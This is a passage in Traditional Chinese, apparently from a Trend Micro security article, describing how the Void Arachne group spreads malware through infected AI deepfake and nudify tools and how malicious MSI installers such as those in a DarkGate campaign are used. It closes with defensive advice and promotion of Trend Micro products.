Void Arachne 駭客集團同樣也是利用大眾對於 AI 技術的興趣來散播惡意程式。我們的研究顯示,Void Arachne 專門推銷已遭感染的 AI 脫衣程式與深偽色情生成軟體,藉此感染不知情的使用者。此外,該集團還會推銷經常用於虛擬綁架詐騙的 AI 聲音與臉孔技術。這類人工智慧技術的大量出現已引發了濫用的疑慮,尤其是性愛勒索與虛擬綁架詐騙,這些詐騙經常造成令人心碎的後果。為了保護社會大眾的線上安全,趨勢科技已整理出相當完整的資源來教育大眾如何辨別、防範及解決性愛勒索之類的詐騙。使用者萬一不小心落入性愛勒索與虛擬綁架的陷阱,強烈建議應該立即通報相關單位,例如美國聯邦調查局 (FBI) 的網際網路犯罪申訴中心 (Internet Crime Complaint Center,簡稱 IC3)。
在 2024 年期間,我們看到惡意的 MSI 檔案越來越多,例如專門攻擊 Microsoft Windows 網際網路捷徑 SmartScreen 安全機制迴避漏洞 (CVE-2024-21412) 的 DarkGate 攻擊行動。強烈建議一般使用者使用 MSI 檔案之前務必檢查其來源,並且僅從信任的來源下載這類檔案。如前述討論所說,MSI 檔案內含安裝程式,這表示駭客可能利用正常軟體來挾帶惡意軟體以及攻擊零時差漏洞的惡意程式。這類惡意 MSI 檔案是企業的一大威脅,因為它們可能被用來挾帶後門程式的安裝檔,進而汙染軟體安裝供應鏈。
企業可採用 Trend Vision One™️ 來防範這類攻擊,它能讓資安團隊持續發掘企業的攻擊面,全面保護已知、未知、受管理及未受管理的網路資產。Vision One 能協助企業判斷潛在風險 (例如漏洞) 的優先次序並盡快解決。它會參考各項關鍵因素,例如潛在攻擊的可能性和衝擊,同時還提供各式各樣的防護、偵測及回應功能。而這一切背後都有進階威脅研究、威脅情報以及人工智慧作後盾,能縮短偵測、回應及矯正問題的時間。Trend Vision One 的終極目標是要改善企業的整體資安狀況與成效,包括防範零時差攻擊。
在是否遭到入侵以及駭客行為和攻擊程序不確定的情況下,企業應假設自己的系統已經遭到入侵或發生資料外洩,並且立即隔離受影響的資料或工具。藉由更廣泛的視野以及更快速的回應,企業就能應付駭客入侵的問題並保護剩餘的系統。尤其,企業若採用像 Trend Micro™ Endpoint Security™ 和 Trend Micro Network Security 這樣的產品,以及 Trend Micro™ XDR 這類全方位的資安解決方案來偵測、掃描及攔截惡意內容,就能妥善因應現代化威脅情勢。